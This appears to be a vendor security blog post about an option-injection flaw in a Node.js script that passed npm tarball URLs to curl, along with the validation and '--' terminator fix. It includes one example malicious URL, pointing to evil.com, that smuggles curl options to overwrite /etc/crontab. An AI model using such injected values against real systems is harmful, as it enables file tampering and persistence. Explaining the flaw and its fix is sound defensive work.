Back to Blog
high SEVERITY5 min read

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

Command injection (CWE-78) in JavaScript occurs when untrusted input reaches child_process execution functions without proper sanitization. In this case, the `fetchNativeTarball()` function in `packages/claude-code/lib/prepare-native.js` passed npm-fetched tarball URLs directly to `curl` via `child_process`. The fix validates URLs against `/^https:\/\//` and adds `--` argument terminator before the URL, preventing shell command injection through malformed URLs.

Vulnerability at a Glance

cweCWE-78
fixURL scheme validation with regex + curl `--` argument terminator
riskArbitrary shell command execution via malicious npm package tarball URLs
languageJavaScript (Node.js)
root causeUnvalidated npm registry tarball URL passed to curl through child_process
vulnerabilityCommand injection

How Command Injection Happens in JavaScript child_process and How to Fix It

In the packages/claude-code/lib/prepare-native.js file that handles native binary fetching for Claude Code, we discovered a high-severity command injection vulnerability at line 54. A function that downloads npm package tarballs was passing unsanitized URLs directly to curl, creating a dangerous attack surface where malicious registry responses could execute arbitrary shell commands.

This vulnerability is particularly insidious because it sits at the intersection of two trust boundaries: the npm registry (external) and local shell execution (privileged). Even though the immediate threat requires compromise of npm's infrastructure or a dependency confusion attack, the pattern itself represents an exploit primitive—reusable code that automated attack tools can chain with other weaknesses.


The Vulnerability Explained

The vulnerable code lived in fetchNativeTarball(spec, packDir):

// BEFORE (vulnerable)
function fetchNativeTarball(spec, packDir) {
  // ... npm view command execution ...
  const tarballUrl = /* fetched from npm registry */;

  run('curl', [
    '--fail',
    '--location',
    '--silent',
    '--connect-timeout', String(curlConnectTimeout),
    '--max-time', String(curlMaxTime),
    '--output', directTarball,
    tarballUrl,  // ← DANGEROUS: unvalidated, positionally vulnerable
  ]);
}

The run() function wraps child_process, and tarballUrl comes directly from npm view output. Here's why this is dangerous:

The Attack Vector: If an attacker can influence the tarball URL returned by npm (through registry compromise, man-in-the-middle on insecure networks, or a malicious private registry), they could inject curl options or shell commands. Consider a malicious URL like:

https://evil.com/pkg.tgz -o /etc/crontab --next-option

Or worse, using curl's --config option to read arbitrary files, or URL-encoded shell metacharacters that might survive parsing.

Specific Risk in This Code: The run() helper likely uses child_process.spawn() or similar. While spawn() with array arguments is safer than exec(), the lack of:
1. URL scheme validation
2. Argument terminator (--)

...means curl might interpret the URL as option flags if it starts with -. This is a classic option injection pattern that precedes full command injection.


The Fix

The remediation applies defense in depth with two specific hardening measures:

// AFTER (hardened)
function fetchNativeTarball(spec, packDir) {
  // ... npm view command execution ...
  const tarballUrl = /* fetched from npm registry */;

  if (!/^https:\/\//.test(tarballUrl)) {  // Line 79-81: scheme validation
    throw new Error(`Unexpected tarball URL scheme for ${spec}`);
  }

  run('curl', [
    '--fail',
    '--location',
    '--silent',
    '--connect-timeout', String(curlConnectTimeout),
    '--max-time', String(curlMaxTime),
    '--output', directTarball,
    '--',           // ← Line 89: argument terminator
    tarballUrl,     // Now safely bounded
  ]);
}

What Each Change Accomplishes

Change Line Security Purpose
/^https:\/\// regex validation 79-81 Enforces allowlist of https:// scheme, rejecting file://, ftp://, javascript:, or option-looking strings
-- argument terminator 89 Tells curl: "stop parsing options, everything after is positional arguments"—neutralizes option injection even if validation somehow fails

The -- terminator is a critical but often overlooked defense. Even with URL validation, defense-in-depth demands assuming validation might have bypasses. The terminator ensures curl treats tarballUrl strictly as a URL, never as flags.


Prevention & Best Practices

For child_process in Node.js

  1. Prefer execFile over exec: execFile doesn't invoke the shell by default, eliminating shell injection vectors
  2. Use spawn with array arguments: Never concatenate command strings
  3. Validate before passing: Apply strict allowlist validation to any external input
  4. Argument terminators: Use -- before positional arguments that accept user input
  5. Consider alternatives: For HTTP requests, use https.get() or fetch() instead of shelling out to curl

Detection Tools

  • Semgrep: javascript.lang.security.detect-child-process.detect-child-process (the rule that found this)
  • CodeQL: js/command-line-injection
  • ESLint: security/detect-child-process

Standards & References


Key Takeaways

  • Never pass npm registry URLs directly to shell commands—always validate against expected schemes and use argument terminators
  • The fetchNativeTarball() function now enforces HTTPS-only with explicit regex validation before any network operation
  • Curl's -- terminator is essential defense-in-depth when passing dynamic URLs, preventing option injection even if validation fails
  • Array arguments to child_process are necessary but not sufficient—positional option injection remains possible without terminators
  • Exploit primitives like unvalidated URL passing should be removed proactively, even when not immediately exploitable, to raise the bar against automated attack tools

How Orbis AppSec Detected This

Source: npm registry response data in tarballUrl variable (line 54, fetched via npm view JSON parsing)

Sink: run() function invoking child_process with curl command array containing unsanitized tarballUrl

Missing control: No URL scheme validation and no -- argument terminator to prevent curl option injection

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Added /^https:\/\// regex validation to enforce HTTPS scheme and inserted -- argument terminator before tarballUrl in curl argument array

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability in prepare-native.js demonstrates how even "internal" tooling code—code that fetches dependencies rather than serving user requests—can harbor serious injection risks. The fix is elegantly minimal: two lines that transform a dangerous pattern into a hardened one. For developers, the lesson is clear: any data crossing a trust boundary, even from "trusted" infrastructure like npm, deserves validation before reaching shell execution. The combination of allowlist validation and argument terminators provides robust defense without complicating the code.


References

  • CWE-78: https://cwe.mitre.org/data/definitions/78.html
  • OWASP Command Injection Defense Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
  • Node.js child_process documentation: https://nodejs.org/api/child_process.html
  • Semgrep rule: https://semgrep.dev/r?q=javascript.lang.security.detect-child-process.detect-child-process
  • Pull Request: harden: sanitize child_process call in prepare-native.js...

Frequently Asked Questions

What is command injection?

A vulnerability where an attacker can execute arbitrary commands on a host operating system through a vulnerable application, typically by injecting shell metacharacters into input that gets passed to system command execution functions.

How do you prevent command injection in JavaScript?

Validate all inputs against strict allowlists, use parameterized APIs instead of shell execution when possible, avoid shell=True equivalents, and use argument terminators like `--` to prevent option injection.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Is input sanitization alone enough to prevent command injection?

No—defense in depth requires multiple layers: input validation, safe APIs, argument terminators, and principle of least privilege. Sanitization alone can miss edge cases.

Can static analysis detect command injection?

Yes—tools like Semgrep, CodeQL, and ESLint security plugins can detect dangerous child_process patterns. The Semgrep rule `javascript.lang.security.detect-child-process.detect-child-process` flagged this exact vulnerability.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #325

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.